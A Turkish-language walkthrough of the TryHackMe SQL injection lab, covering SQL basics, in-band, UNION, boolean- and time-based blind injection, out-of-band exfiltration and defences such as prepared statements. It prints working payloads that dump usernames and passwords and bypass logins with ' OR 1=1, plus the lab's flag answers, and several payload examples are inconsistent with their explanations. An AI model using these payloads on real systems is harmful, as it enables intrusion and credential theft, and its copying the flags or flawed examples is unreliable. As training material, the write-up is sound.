Lab Erişimi için: https://tryhackme.com/room/sqlinjectionlm
SQL (Structured Query Language) Injection, genellikle SQLi olarak adlandırılır, bir web uygulaması veritabanı sunucusuna yapılan ve zararlı sorguların çalıştırılmasına neden olan bir saldırıdır. Bir web uygulaması, kullanıcıdan gelen girdiyle bir veritabanıyla iletişim kurduğunda ve bu girdi düzgün bir şekilde doğrulanmadığında, bir saldırganın özel ve müşteri verilerini çalma, silme veya değiştirme ve ayrıca web uygulamasının özel veya müşteri alanlarına erişim doğrulama yöntemlerine saldırma potansiyeli vardır. Bu nedenle SQLi, en eski web uygulaması güvenlik açıklarından biridir ve aynı zamanda en zararlı olabilir.
Bu odada, veritabanlarının ne olduğunu, SQL’in ne olduğunu ve bazı temel SQL komutlarını, SQL güvenlik açıklarını nasıl tespit edeceğinizi, SQLi güvenlik açıklarını nasıl istismar edeceğinizi ve bir geliştirici olarak kendinizi SQL Injection’a karşı nasıl koruyacağınızı öğreneceksiniz.
[Soru 1.1] SQL neyin kısaltmasıdır?
Cevap: Structured Query Language
Veritabanlarıyla veya bunları istismar etmeyle çalışmaya alışkın değilseniz, alışmanız gereken bazı yeni terimler olabilir, bu yüzden veritabanlarının nasıl yapılandırıldığını ve nasıl çalıştığını öğrenmeye temel bilgilerle başlayalım.
Veritabanı nedir?
Veritabanı, verileri düzenli bir şekilde elektronik olarak depolamanın bir yoludur. Bir veritabanı, DBMS kısaltmasıyla bilinen bir Veritabanı Yönetim Sistemi tarafından kontrol edilir.
DBMS’ler iki gruba ayrılır:
- Relational (İlişkisel)
- Non-Relational (İlişkisel Olmayan)
Bu odanın odak noktası İlişkisel veritabanları olacaktır. Karşılaşacağınız bazı yaygın ilişkisel veritabanları aşağıdaki gibidir;
- MySQL
- Microsoft SQL Server
- Access, PostgreSQL
- SQLite’dır.
Bu görevde İlişkisel ve İlişkisel Olmayan veritabanları arasındaki farkı açıklayacağız, ancak önce birkaç terimi öğrenmek önemlidir.
Bir DBMS içinde, her biri kendi ilgili veri setini içeren birden çok veritabanı olabilir. Örneğin, “shop” adında bir veritabanınız olabilir. Bu veritabanında, satın alınabilecek ürünler hakkında bilgi, çevrimiçi mağazanıza kaydolan kullanıcılar hakkında bilgi ve aldığınız siparişler hakkında bilgiyi depolamak istersiniz. Bu bilgiyi veritabanında ayrı ayrı tablolar kullanarak depolarsınız. Tabloların her biri benzersiz bir adla tanımlanır. Bu yapıyı aşağıdaki diyagramda görebilirsiniz, ancak aynı zamanda bir işletmenin personel bilgilerini veya muhasebe ekibinin bilgilerini depolamak için başka ayrı veritabanlarına sahip olabileceğini de görebilirsiniz.
Tablolar Nedir?
- Bir tablo sütun ve satırlardan oluşur
- Tabloyu bir ızgara olarak düşünün
- Üstten soldan sağa doğru giden ve hücrenin adını tutan sütunlar
- Yukarıdan aşağıya doğru giden ve gerçek verileri içeren satırlar
Columns:
- “field” olarak da bilinen her sütunun her tablo için benzersiz bir adı vardır.
- Bir sütun oluşturduğunuzda, ne tür veriler içereceğini belirtebilirsiniz.
- Yaygın veri türleri arasında integers (numbers), strings (standart text) ve date’ler bulunur.
- Coğrafi uzamsal gibi bazı veritabanları, konum bilgileri gibi çok daha karmaşık veriler içerebilir.
Bir integer içeren bir sütunda otomatik artırma özelliği etkinleştirilebilir; bu, her veri satırına sonraki her satırla birlikte büyüyen (artan) benzersiz bir sayı verir ve birincil anahtar olarak bilinen şeyi oluşturur; bir birincil alan her veri satırı için benzersiz olmalıdır ve SQL sorgularında tam olarak o satırı bulmak için kullanılabilir.
Rows:
- Tek tek veri satırları satırlar veya kayıtlar halinde saklanır.
- Tabloya veri eklediğinizde yeni bir satır/kayıt oluşturulur ve veri sildiğinizde bir row/record kaldırılır.
İlişkisel .v.s. İlişkisel Olmayan Veritabanı:
İlişkisel – Tablolarda bilgi içerir ve tablolar sıklıkla bilgi alışverişinde bulunur; sütunlar kaydedilen verileri gösterir ve tanımlar, row’lar ise gerçekte verileri içerir.
Tablolar sıklıkla benzersiz unique ID (primary key) sahip bir sütun içerecek ve bu sütun daha sonra diğer tablolarda referans olarak kullanılacak, bu da tablolar arasında bir ilişkiye neden olacak, dolayısıyla ilişkisel veritabanı adı verilecektir.
İlişkisel Olmayan – Bir veritabanı verileri depolamak için tablolar, sütunlar ve satırlar kullanmadığından, belirli bir veritabanı düzeni gerekli değildir ve her veri satırı farklı bilgiler içerebilir, bu da ilişkisel bir veritabanından daha fazla esneklik sağlar.
Bu türdeki bazı popüler veritabanları MongoDB, Cassandra ve ElasticSearch’tür.
[Soru 2.1] Bir veritabanını kontrol eden yazılımın kısaltması nedir?
Cevap: DBMS
[Soru 2.2] Verileri tutan ızgara benzeri yapının adı nedir?
Cevap: Tablo
Evet, SQL’in çeşitli sözdizimlerine sahip olmasına rağmen, ana temeli “retrieve (select),” “update,” “insert” ve “delete” verileridir.
Bazı veritabanı yönetim sistemlerinin kendi sözdizimleri vardır, ancak temel prensip aynıdır ve SQL sözdiziminin büyük/küçük harf duyarlı olmadığını belirtmek önemlidir.
- — SELECT
Veritabanından veri ALMAK için kullanılır.
Örnek #1: select * from users;
- “select” = bazı verileri almak istiyorum
- “*” = tablodaki tüm sütunları geri almak istiyorum
- “from users” = users adlı tablodan verileri almak istiyorum
- “;” = bu sorgunun sonu olduğunu veritabanına bildirir
Örnek #2: select username, password from users;
- Sadece “username” ve “password” alanlarını talep ediyor.
Örnek #3: select * from users LIMIT 1;
- “LIMIT 1” = veritabanını sadece bir satır veri döndürmeye zorlar.
Örnek #4: select * from users where username=’admin’;
- Bu, yalnızca kullanıcı adı “admin” olan satırları döndürecektir.
Örnek #5: select * from users where username != ‘admin’;
- Kullanıcı adı “admin” olmayan satırları sorgular
- “!=” = EŞİT DEĞİL
Örnek #6: select * from users where username=’admin’ or username=’jon’;
- Bu sorgu, kullanıcı adının “admin” veya “jon” olduğu satırları döndürecektir.
Örnek #7: select * from users where username=’admin’ and password=’p4ssword’;
- Bu sorgu, kullanıcı adının “admin” ve şifrenin “p4ssword” olduğu satırları döndürecektir.
Örnek #8: select * from users where username like ‘a%’;
- Bu sorgu, kullanıcı adı “a” harfi ile başlayan satırları döndürecektir.
Örnek #9: select * from users where username like '%n';
- Bu sorgu, kullanıcı adı “n” harfi ile biten satırları döndürecektir.
Örnek #10: select * from users where username like '%mi%';
- Bu sorgu, kullanıcı adında “mi” karakterlerini içeren satırları döndürecektir.
2. UNION
Bu, iki veya daha fazla SELECT sorgusunun sonuçlarını birleştirerek bir veya daha fazla tablodan veri almayı sağlar.
Kural şudur: Her “SELECT” sorgusu aynı sayıda sütun elde etmeli, sütunlar benzer veri türünde olmalı ve sütun sırası aynı olmalıdır.
Bu SQL ifadesini kullanarak iki tablodan gelen sonuçları birleştirip tek bir sonuç kümesine koyabiliriz:
SELECT name, address, city, postcode FROM customers
UNION
SELECT company, address, city, postcode FROM suppliers;
Bu sorgunun işleyişi:
SELECT name, address, city, postcode FROM customers
:customers
tablosundakiname
,address
,city
, vepostcode
sütunlarını seçer.UNION
: İki SELECT sorgusunun sonuçlarını birleştirir ve sonuç kümesindeki tekrarlanan satırları otomatik olarak kaldırır.SELECT company, address, city, postcode FROM suppliers
:suppliers
tablosundakicompany
,address
,city
, vepostcode
sütunlarını seçer.
Sonuçta, customers
ve suppliers
tablosundaki veriler name
ve company
sütunlarıyla birlikte aynı sütun adlarına sahip olacak şekilde birleştirilir.
Evet, dikkat edilmesi gereken nokta, iki sorgunun birleşmesidir. Her tablo kendi içinde benzersiz olabilir, ancak aşağıdaki koşulları sağlamaktadırlar:
- Aynı Sütunlar: Her iki sorgu da aynı sütun sayısına ve benzer sütun isimlerine sahip olmalıdır.
- Benzer Veri Tipleri: Her sütunun veri tipi, diğer sorgunun karşılık gelen sütunuyla uyumlu olmalıdır.
- Sıra: Sütunlar, her iki sorguda da aynı sırada olmalıdır.
Bu koşullar sağlandığında, UNION
operatörü her iki sorgunun sonuçlarını birleştirerek tek bir sonuç kümesi oluşturur. Birleştirilmiş sonuç kümesinde tekrarlanan satırlar otomatik olarak kaldırılır.
3. Insert
Bu SQL komutu, veritabanına yeni bir veri satırı eklemek için kullanılır:
INSERT INTO users (username, password) VALUES ('bob', 'password123');
Açıklamalar:
- “INTO users”: Veriyi hangi tabloya ekleyeceğimizi belirtir. Bu örnekte, “users” tablosuna veri ekliyoruz.
- “(username, password)”: Veriyi hangi sütunlara ekleyeceğimizi belirtir. Bu örnekte, “username” ve “password” sütunlarına veri ekliyoruz.
- “VALUES (‘bob’, ‘password123’)”: Belirtilen sütunlara eklemek istediğimiz veriyi belirtir. Bu örnekte, “username” sütununa ‘bob’, “password” sütununa ise ‘password123’ değeri ekleniyor.
4. UPDATE
UPDATE komutu, veritabanındaki bir veya daha fazla veri satırını güncellemek için kullanılır:
UPDATE users SET username='root', password='pass123' WHERE username='admin';
Açıklamalar:
- “UPDATE users”: Hangi tabloyu güncellemek istediğimizi belirtir. Bu örnekte, “users” tablosunu güncelliyoruz.
- “SET username=’root’, password=’pass123′”: Güncellemek istediğimiz sütunları ve yeni değerlerini belirtir. Bu örnekte, “username” sütununu ‘root’, “password” sütununu ise ‘pass123’ olarak güncelliyoruz.
- “WHERE username=’admin'”: Hangi satırları güncelleyeceğimizi belirtir. Bu örnekte, “username” değeri ‘admin’ olan satırları güncelliyoruz.
5. Delete
DELETE komutu, veritabanından bir veya daha fazla veri satırını kaldırmak için kullanılır:
DELETE FROM users WHERE username='martin';
Açıklamalar:
- “DELETE FROM users”: Hangi tablodan veri silmek istediğimizi belirtir. Bu örnekte, “users” tablosundan veri siliyoruz.
- “WHERE username=’martin'”: Hangi satırları sileceğimizi belirtir. Bu örnekte, “username” değeri ‘martin’ olan satırları siliyoruz.
Ek olarak, LIMIT ifadesi ile belirli sayıda satır silme işlemi de yapılabilir. Örneğin:
DELETE FROM users WHERE username='martin' LIMIT 5;
Bu komut, “username” değeri ‘martin’ olan ilk 5 satırı silecektir.
Evet, doğru. DELETE FROM users;
komutu, WHERE
şartı kullanılmadığı için “users” tablosundaki tüm verileri siler. Bu komut, tablodaki her satırı hedef alır ve veritabanındaki tüm kayıtları kaldırır. Ancak, bu komut tablonun kendisini değil, sadece içindeki verileri siler. Tablo yapısı ve tanımları bu komutla değişmez.
[Soru 3.1] Veriyi almak için hangi SQL ifadesi kullanılır?
- Cevap:
SELECT
[Soru 3.2] Birden fazla tablodan veri almak için hangi SQL ifadesi kullanılabilir?
- Cevap:
UNION
[Soru 3.3] Veri eklemek için hangi SQL ifadesi kullanılır?
- Cevap:
INSERT
SQL Enjeksiyonu (SQLi), bir saldırganın bir web uygulamasının yürüttüğü SQL sorgularını manipüle edebilmesi durumunda gerçekleşen bir saldırı türüdür. Bu, kullanıcı tarafından sağlanan verilerin SQL sorgusuna uygun bir şekilde doğrulanmadan veya temizlenmeden dahil edilmesiyle olur. SQL Enjeksiyonu, bir saldırgana şunları yapma imkânı tanıyabilir:
- Yetkisiz verilere erişim sağlama.
- Verileri değiştirme veya silme.
- Kimlik doğrulama mekanizmalarını atlatma.
- Veritabanında yönetimsel işlemler gerçekleştirme.
[Soru 4.1] SQL sorgusunun sonunu belirten karakter nedir?
Cevap: ;
İn-Band SQL Enjeksiyonu
Bu, tespit edilmesi ve sömürülmesi en basit yöntemlerden biridir. Bu tür bir enjeksiyon, zafiyetin sömürülmesi ve bulguların elde edilmesi için aynı iletişim kanalını kullanır. Örnek: Bir web sayfasında SQL Enjeksiyon zafiyetini tespit ettikten sonra veritabanından veri çekmek ve bu veriyi aynı web sayfasında görüntülemek.
Hata Bazlı SQL Enjeksiyonu
Bu yöntem, veritabanı yapısı hakkında hızlı bilgi elde etmek için oldukça yararlıdır çünkü veritabanı hata bildirimleri hemen tarayıcı ekranına yazdırılır. Bu yöntem genellikle tüm veritabanını sıralamak için kullanılır.
Birleştirme Bazlı SQL Enjeksiyonu
Bu, SQL “UNION” operatörünü “SELECT” ifadesi ile birleştirerek sayfada daha fazla sonuç döndürmeyi sağlar. Bu, SQL Enjeksiyonu zafiyetini kullanarak büyük miktarda veri çekmek için en yaygın yaklaşımdır.
Hata Bazlı SQL Enjeksiyon Tespitinin Püf Noktası:
SQL sorgusunun kodunu belirli karakterler deneyerek kırmak, genellikle hata mesajı üretir; bu karakterler genellikle:
- Tek tırnak işareti (‘) veya
- Çift tırnak işareti (“)
id=1 sonuna bir tek tırnak işareti (‘) eklemeyi ve ardından enter tuşuna basmayı deneyin. Ve gördüğünüz gibi, bu bir SQL hatası döndürür ve size bir sözdizimi hatası hakkında bilgi verir. Bu hata mesajını almanız, bir SQL Enjeksiyonu zafiyetinin varlığını doğrular. Bu hatayı sömürerek veritabanı yapısı hakkında daha fazla bilgi edinebiliriz.
[Soru 5.1] Seviye 1 tamamlandıktan sonra bayrak nedir?
1. Web Sayfasına Erişim
2. Kesme işareti (‘) ekleme
Bu hata mesajını almanız, bir SQL Enjeksiyonu zafiyetinin varlığını doğrular. Bu hatayı sömürerek veritabanı yapısı hakkında daha fazla bilgi edinebiliriz.
3. — UNION Operatörünü Ekle
Bunun nedeni, seçtiğimiz ek bir sonuç elde edebilmemizdir.
Deneme #1: 1 UNION SELECT 1
Bu satır, UNION SELECT ifadesinin ilk SELECT sorgusundan daha az sütun içerdiğini belirten bir hata mesajı üretmelidir.
Deneme #2: 1 UNION SELECT 1,2
Aynı hata, bu yüzden başka bir sütunla tekrar deneyelim.
Deneme #3: 1 UNION SELECT 1,2,3
Başarılı. Hata bildirimi kaldırıldı ve article şimdi görüntüleniyor; ancak, article yerine verilerimizi göstermek istiyoruz.
article, web sitesinin kodundan dönen ilk sonucu sunduğu için görüntüleniyor. Bunu aşmak için, ilk sorgunun hiç sonuç döndürmemesi gerekir. Bu, article ID’sini 1’den 0’a değiştirerek verimli bir şekilde yapılır.
Deneme #4: 0 UNION SELECT 1,2,3
Artık makalenin, “UNION” seçiminin 1, 2 ve 3 sütun değerlerini döndürmesinin sonucu olduğunu görebilirsiniz. Döndürülen değerleri kullanarak daha değerli bilgiler almaya başlayabiliriz.
Deneme #5: 0 UNION SELECT 1,2,database()
Öncelikle, erişim sağladığımız veritabanı adını alacağız.
Daha önce 3 olarak görüntülenen yerde, artık veritabanı adı olan “sqli_one” görüntüleniyor.
Deneme #6: 0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = ‘sqli_one’
Bu sorgu ile, “sqli_one” veritabanındaki tüm tablo adlarını alıyoruz.
bilgiler:
group_concat()
— Belirtilen sütunu (table_name) birden fazla döndürülen satırdan alır ve virgüllerle ayrılmış tek bir dizeye dönüştürür.information_schema
veritabanı — Her veritabanı kullanıcısının erişim hakkına sahip olduğu ve kullanıcının erişebileceği tüm veritabanları ve tablolar hakkında bilgi içeren bir veritabanıdır.
Bu özel sorguda, sqli_one
veritabanındaki tüm tabloları listelemekle ilgileniyoruz; bu tablolar article
ve staff_users
.
Deneme #7: 0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = ‘staff_users’
Bu sorgu ile, staff_users
tablosundaki tüm sütun adlarını alıyoruz.
Bu, önceki SQL sorgusuyla aynıdır. Ancak, almak istediğimiz bilgi table_name
‘den column_name
‘e değişti, information_schema
veritabanındaki sorguladığımız tablo columns
oldu ve table_name
sütununda staff_users
değerine sahip herhangi bir satır arıyoruz.
Deneme #8: 0 UNION SELECT 1,2,group_concat(username,’:’,password SEPARATOR ‘
’) FROM staff_users
Bu sorguyla, staff_users
tablosundaki tüm kullanıcı adlarını ve şifrelerini username:password
formatında ve <br>
ayracı ile ayırarak listeleyebiliriz.
Yine group_concat
yöntemini kullanarak tüm satırları tek bir dize halinde döndürüyoruz ve bunu daha okunabilir hale getiriyoruz. Ayrıca, kullanıcı adı ve şifreyi birbirinden ayırmak için ’:’
ekledik. Sonuçların virgülle ayrılmak yerine, her bir sonucu ayrı bir satıra koymak için HTML <br>
etiketini tercih ettik, bu da okunabilirliği artırır.
Cevap: THM{SQL_INJECTION_3840}
Blind SQL Injection — Genellikle, enjekte edilen sorguların başarılı olup olmadığını doğrulamak için çok az veya hiç yanıt alınmaz; çünkü hata uyarıları devre dışı bırakılmış olabilir, ancak enjeksiyon devam eder.
Ancak, veritabanını başarıyla sıralamak için bu küçük miktarda geri bildirime ihtiyacımız var.
Kimlik Doğrulama Atlatma — Kimlik doğrulama mekanizmalarını aşarken, örneğin giriş formlarında kullanılan en basit Blind SQL Injection tekniklerinden biridir.
Bu durumda, veritabanından veri almakla ilgilenmiyoruz; sadece giriş aşamasını geçmek istiyoruz.
Bir kullanıcı veritabanına bağlı olan giriş formları genellikle, web uygulamasının kullanıcı adı ve şifre içeriğiyle daha az ilgilendiği ve bu çiftin users tablosunda eşleşip eşleşmediğine daha çok önem verdiği şekilde tasarlanmıştır.
Basitçe, web uygulaması veritabanına, “bob kullanıcı adına ve bob123 şifresine sahip bir kullanıcı var mı?” diye sorar. Veritabanı ya evet ya da hayır (doğru/yanlış) yanıtıyla geri döner ve web programının devam edip etmeyeceğine karar verir.
Atlatma numarası şu: Sadece evet/hayır yanıtı döndüren bir veritabanı sorgusu oluşturmak yeterlidir.
[Question 6.1] İkinci seviyeyi tamamladıktan sonra (ve üçüncü seviyeye geçtikten sonra) bayrak nedir?
Deneme 1: select * from users where username=’%username%’ and password=’%password%’ LIMIT 1;
Not: %username% ve %password% değerleri giriş formu alanlarından alınmıştır, SQL Sorgu kutusundaki başlangıç değerleri şu anda boş olacaktır.
2. Deneme: ‘ OR 1=1; –
Bunu her zaman “TRUE” döndüren bir sorguya dönüştürmek için yukarıdaki SQL sorgusunu aşağıdaki şekilde değiştirin:
select * from users where username='' and password='' OR 1=1;
Cevap: THM{SQL_INJECTION_9581}
Boolean Bazlı — Bu, enjeksiyon denemelerimizin sonucunu, yani doğru/yanlış, evet/hayır, açık/kapalı, 1/0 veya sadece İKİ olası sonuç içeren herhangi bir cevabı ifade eder.
Bu sonuç, SQL Enjeksiyon yükümüzün başarılı olup olmadığını doğrular.
[Soru 7.1] Üçüncü aşamayı tamamladıktan sonra bayrak nedir?
“Stage 3″e girip nasıl çalıştığını anlamaya çalıştıktan sonra, tarayıcı gövdesinin {“taken”:true} içeriğini taşıdığı keşfedilmiştir.
Bu API uç noktası, birçok kayıt formunda bulunan tipik bir özelliği taklit eder; bu özellik, bir kullanıcının kullanıcı adının zaten kayıtlı olup olmadığını kontrol eder ve kullanıcıyı farklı bir kullanıcı adı seçmeye teşvik eder.
Alınan değer true olarak ayarlandığı için admin kullanıcı adının zaten kayıtlı olduğunu varsayabiliriz. Aslında, sahte tarayıcının adres çubuğundaki kullanıcı adını admin’den admin123’e değiştirerek ve ardından enter tuşuna basarak bunu doğrulayabiliriz. Alınan değer artık yanlış olacaktır.
SQL sorgusu şu şekilde işlendi:
select * from users where username = '%username%' LIMIT 1;
Çünkü kontrol edebileceğimiz tek girdi, sorgu dizisindeki kullanıcı adıdır, bu nedenle SQL Enjeksiyonu başarmak için bunu kullanmamız gerekir.
Kullanıcı adı olarak admin123’ü kullanarak, veritabanını doğru şeyleri onaylayacak şekilde değiştirmeye başlayabiliriz. Bu, alınan alanın yanlış durumundan doğru durumuna geçmesini sağlayacaktır.
Kullanıcı adını aşağıdaki şekilde değiştirin:
admin123' UNION SELECT 1;--
Bu, sütunların yanlış değeri olduğunu doğrulayabiliriz çünkü web uygulaması “alınan” değerini yanlış olarak yanıtladı.
Doğru değeri almak için sütunları eklemeye devam edin.
Yanıtın üç sütun olduğunu test etmek için kullanıcı adını aşağıdaki değere ayarlayın:
admin123' UNION SELECT 1;--
Artık sütun sayısını belirlediğimize göre, veritabanını sıralamaya başlayabiliriz. İlk görevimiz, veritabanının adını belirlemektir. Bunu database()
yöntemini çağırarak ve sonra like
operatörünü kullanarak doğru durumu döndüren sonuçları arayarak gerçekleştirebiliriz.
Aşağıdaki kullanıcı adı değerini deneyin ve ne olduğunu görün:
admin123' UNION SELECT 1,2,3 where database() like '%';--
Gerçekten doğru bir yanıt alıyoruz çünkü like
operatörü sadece %
değerine sahiptir ve bu, herhangi bir şeyi eşleştirecektir çünkü bu bir joker karakter değeridir.
Joker karakterini a%
olarak değiştirirsek, sonuç tekrar yanlış olur, bu da veritabanı adının a
harfi ile başlamadığını doğrular. a
, b
, c
gibi tüm harfleri, rakamları ve -
ve _
gibi karakterleri deneyerek eşleşme bulana kadar devam edebiliriz. Kullanıcı adı değeri olarak aşağıdakini girerseniz, veritabanı adının s
harfi ile başladığını doğrulayan doğru bir yanıt alırsınız:
admin123' UNION SELECT 1,2,3 where database() like 's%';--
Şimdi veritabanı adının bir sonraki karakterine geçin ve başka bir doğru yanıt bulana kadar devam edin. Örneğin, sa%
, sb%
, sc%
vb. ile devam edin. Veritabanı adının tüm karakterlerini bulana kadar bu işlemi sürdürün. Veritabanı adının sqli_three
olduğunu belirledik.
Bu veritabanı adını kullanarak tablo adlarını aynı yöntemle listelemeye geçebiliriz. Bunun için information_schema
veritabanasını kullanacağız. Kullanıcı adı değerini aşağıdaki gibi ayarlamayı deneyin:
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';--
Bu sorgu, information_schema
veritabanındaki tables
tablosunda, veritabanı adının sqli_three
olduğu ve tablo adının a
harfi ile başladığı sonuçları arar. Yukarıdaki sorgu yanlış yanıt veriyorsa, sqli_three
veritabanında a
harfi ile başlayan tablolar olmadığını doğrulayabiliriz. Daha önce olduğu gibi, harfler, sayılar ve karakterler arasında geçiş yaparak doğru eşleşmeyi bulana kadar devam etmelisiniz.
Sonunda, sqli_three
veritabanında users
adında bir tablo keşfedeceksiniz. Bunu doğrulamak için aşağıdaki kullanıcı adı yükünü çalıştırabilirsiniz:
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name='users';--
Son olarak, kullanıcı adı ve şifreleri doğru şekilde aramak için users
veritabanındaki sütun adlarını sıralamamız gerekiyor. Artık, topladığımız bilgileri kullanarak information_schema
veritabanındaki sütun adlarını sorgulayabiliriz. Aşağıdaki yük ile sütunları arıyoruz; veritabanı sqli_three
, tablo adı users
ve sütun adı a
harfi ile başlıyor.
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';
Yine, harfleri, rakamları ve karakterleri döngüye alarak eşleşen bir sonuç bulana kadar devam etmeniz gerekecek. Birden fazla sonucu aradığınız için, her yeni sütun adı bulduğunuzda bunu yükünüze eklemeniz gerekecek, böylece aynı sütunu tekrar tekrar keşfetmezsiniz. Örneğin, id
adlı sütunu bulduktan sonra, bunu orijinal yükünüze ekleyeceksiniz (aşağıda görüldüğü gibi).
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';
Bu süreci üç kez tekrarlamak, id
, username
ve password
sütunlarını keşfetmenizi sağlar. Artık bu sütunları kullanıcı adı ve şifreleri sorgulamak için kullanabilirsiniz. İlk olarak, geçerli bir kullanıcı adını bulmanız gerekecek. Aşağıdaki yükü kullanabilirsiniz:
admin123' UNION SELECT 1,2,3 from users where username like 'a%'
Bu yükü kullanarak tüm karakterleri denediğinizde, admin
kullanıcı adının varlığını doğrulayabilirsiniz. Şimdi kullanıcı adını buldunuz. Şifreyi keşfetmeye odaklanabilirsiniz. Aşağıdaki yük, şifreyi nasıl bulacağınızı gösterir:
Tüm karakterleri döngüye alarak şifrenin 3845
olduğunu keşfedeceksiniz.
Cevap: THM{SQL_INJECTION_1093}
Zaman Tabanlı — Bu yöntem, önceki Boolean tabanlı yönteme oldukça benzer. Ancak, bu sefer doğru veya yanlış sorgularınızın görsel bir belirtisi yoktur.
Bunun yerine, sorgunun ne kadar sürede çalıştığını belirleyici bir gösterge olarak kullanırsınız. Bu zaman gecikmesi, UNION ifadesi ile birlikte SLEEP(x) gibi yerleşik teknikler kullanılarak oluşturulur.
SLEEP() yöntemi yalnızca başarılı bir UNION SELECT ifadesinden sonra çağrılır.
Örneğin, bir tablodaki sütun sayısını belirlemeye çalışırken, aşağıdaki sorguyu kullanabilirsiniz:
admin123' UNION SELECT SLEEP(5); —
Yanıt süresinde herhangi bir duraklama yoksa, sorgunun başarısız olduğunu biliyoruz. Bu nedenle, daha önceki görevlerde yaptığımız gibi bir sütun daha ekleriz:
admin123' UNION SELECT SLEEP(5);--
Bu yük, 5 saniyelik bir zaman gecikmesi oluşturmalı ve UNION ifadesinin başarılı bir şekilde çalıştığını ve iki sütun olduğunu doğrulamalıdır.
Boolean tabanlı SQL Enjeksiyonu’ndan veri toplama sürecini, UNION SELECT sorgusunun içine SLEEP() yöntemini ekleyerek tekrarlayın.
Tablo adını bulmakta zorlanıyorsanız, aşağıdaki sorgu yardımcı olabilir:
referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'u%';--
[Soru 8.1] Dördüncü seviyeyi tamamladıktan sonra nihai flag nedir?
İpucu: 496x
Son rakamı tahmin edin.
Cevap ver: THM{SQL_INJECTION_MASTER}
Out-of-Band SQL Injection — Daha sık rastlanmaz çünkü ya belirli veritabanı sunucu işlevlerinin etkin olmasına ya da SQL sorgusunun sonuçlarına dayanarak dış bir ağ çağrısı yapan web uygulamasının iş mantığına bağlıdır.
İki ayrı iletişim kanalı ile ayırt edilir:
1) Saldırıyı başlatmak için
2) Bulguları toplamak için
Örneğin, saldırı kanalı bir web isteği olabilirken, veri toplama kanalı sizin yönettiğiniz bir hizmete yapılan HTTP/DNS isteklerini izlemek olabilir.
1) Bir saldırgan, SQL Injection’a açık bir web sitesine bir enjeksiyon yükü ile istek yapar.
2) Web sitesi, saldırganın yükünü de içeren bir SQL sorgusu yapar.
3) Yük, veritabanından veriler içeren HTTP isteğini saldırganın makinesine geri gönderen bir isteği içerir.
[Question 9.1] Veritabanından veri sızdırmak için kullanılabilecek “D” harfiyle başlayan bir protokol adı nedir?
Cevap: DNS
SQL Injection açıkları ne kadar yıkıcı olabilirse de, geliştiriciler web uygulamalarını korumak için aşağıdaki yönergeleri takip edebilirler:
Hazırlanmış İfadeler (Parametreli Sorgular):
SQL sorgusu, bir hazırlanan sorguda ilk olarak yazılır ve ardından kullanıcı girdileri parametreler olarak eklenir. Hazırlanmış ifadeler, SQL kod yapısının sabit kalmasını ve veritabanının sorguyu ve veriyi ayırt etmesini sağlar. Ek olarak, kodunuzun daha temiz ve okunması daha kolay olmasını sağlar.
Girdi Doğrulama:
Girdi doğrulama, SQL sorgusuna girilen verileri korumaya yardımcı olabilir. Girdi sadece belirli dizelerle sınırlandırılabilir veya bir dize değiştirme tekniği kullanılarak izin verilen veya verilmeyen karakterler filtrelenebilir.
Kullanıcı Girdisini Kaçış:
Kullanıcı girdisinin, ‘ “ $ \ gibi karakterler içermesine izin vermek SQL sorgularının bozulmasına veya daha kötüsü, enjeksiyon girişimlerine maruz kalmasına neden olabilir. Kullanıcı girdisini kaçış yapmak, belirli karakterlerin önüne ters eğik çizgi () ekleyerek, bunların özel karakter yerine standart bir dize olarak işlenmesini sağlar.
[Question 10.1] SQL Injection istismarından korunmak için bir yöntem adını verin.
Cevap: Prepared Statements
SONUÇ
SQL Injection, görünüşte eğlenceli olabilir, ancak potansiyel olarak tehlikeli bilgileri ele geçirmek için bir saldırganın kullanabileceği ciddi zayıflıkları ortaya koyar.
Gerçekten de, SQL Injection’a karşı korunma yöntemleri, uygulama güvenliğini artırmak için yardımcı bir rehber olabilir. Ancak, her zaman bir güvenlik açığının tamamen kapatılabileceği garantisi yoktur; bu yüzden dikkatli olmak her zaman gereklidir.
SQL Injection açıklarının önlenmesi, yalnızca temel güvenlik önlemleri almakla sınırlı kalmamalıdır. Hazırlanmış ifadeler, girdi doğrulama ve kullanıcı girdisini kaçış yöntemleri gibi en iyi uygulamaları kullanarak uygulamalarınızı bu tür saldırılardan koruyabilirsiniz.
Her zaman güvenlik açıklarının farkında olun, potansiyel riskleri azaltmak için sürekli olarak sistemlerinizi gözden geçirin ve güvenlik güncellemelerini takip edin.
Sağlıklı ve güvenli kalın
Mert Yavuz